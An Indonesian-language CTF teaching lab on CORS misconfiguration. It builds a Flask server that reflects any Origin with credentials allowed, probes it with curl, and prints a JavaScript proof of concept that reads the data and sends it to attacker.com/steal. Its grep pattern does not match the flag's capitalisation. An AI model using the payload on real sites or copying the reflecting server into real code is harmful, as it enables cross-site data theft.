EH-24: CORS Misconfiguration - Origin Tidak Divalidasi

Tools: curl

cd ~ && mkdir -p eth-l24 && cd eth-l24
cat > server.py << 'PYEOF'
from flask import Flask, request, jsonify
app = Flask(__name__)
@app.route('/api/data')
def data():
    origin = request.headers.get('Origin','')
    resp = jsonify({"secret":"FLAG{CORS_Misconfig}"})
    # ❌ VULN: reflect origin!
    if origin:
        resp.headers['Access-Control-Allow-Origin'] = origin
        resp.headers['Access-Control-Allow-Credentials'] = 'true'
    return resp
app.run(port=9022)
PYEOF
python3 server.py &
sleep 1

echo "=== 1. Normal origin ==*"
curl -s -H "Origin: https://attacker.com" http://localhost:9022/api/data | grep -o 'flag{.*}'
echo ""
echo "=== 2. Any origin allowed! ==*"
curl -s -H "Origin: https://evil.com" http://localhost:9022/api/data | grep -o 'flag{.*}'
echo ""
echo "=== 3. Steal via AJAX (concept) ==*"
echo '<html><script>
fetch("http://localhost:9022/api/data", {credentials:"include"})
.then(r=>r.text()).then(d=>fetch("http://attacker.com/steal?data="+d))
</script></html>'

kill %1 2>/dev/null

Refleksi: CORS dengan Access-Control-Allow-Origin: * atau reflect origin = data bisa dicuri dari situs lain! Selalu gunakan allowlist origin spesifik.

Generated by @farishhz Agent Pentest Pipeline - TDCTF Security Academy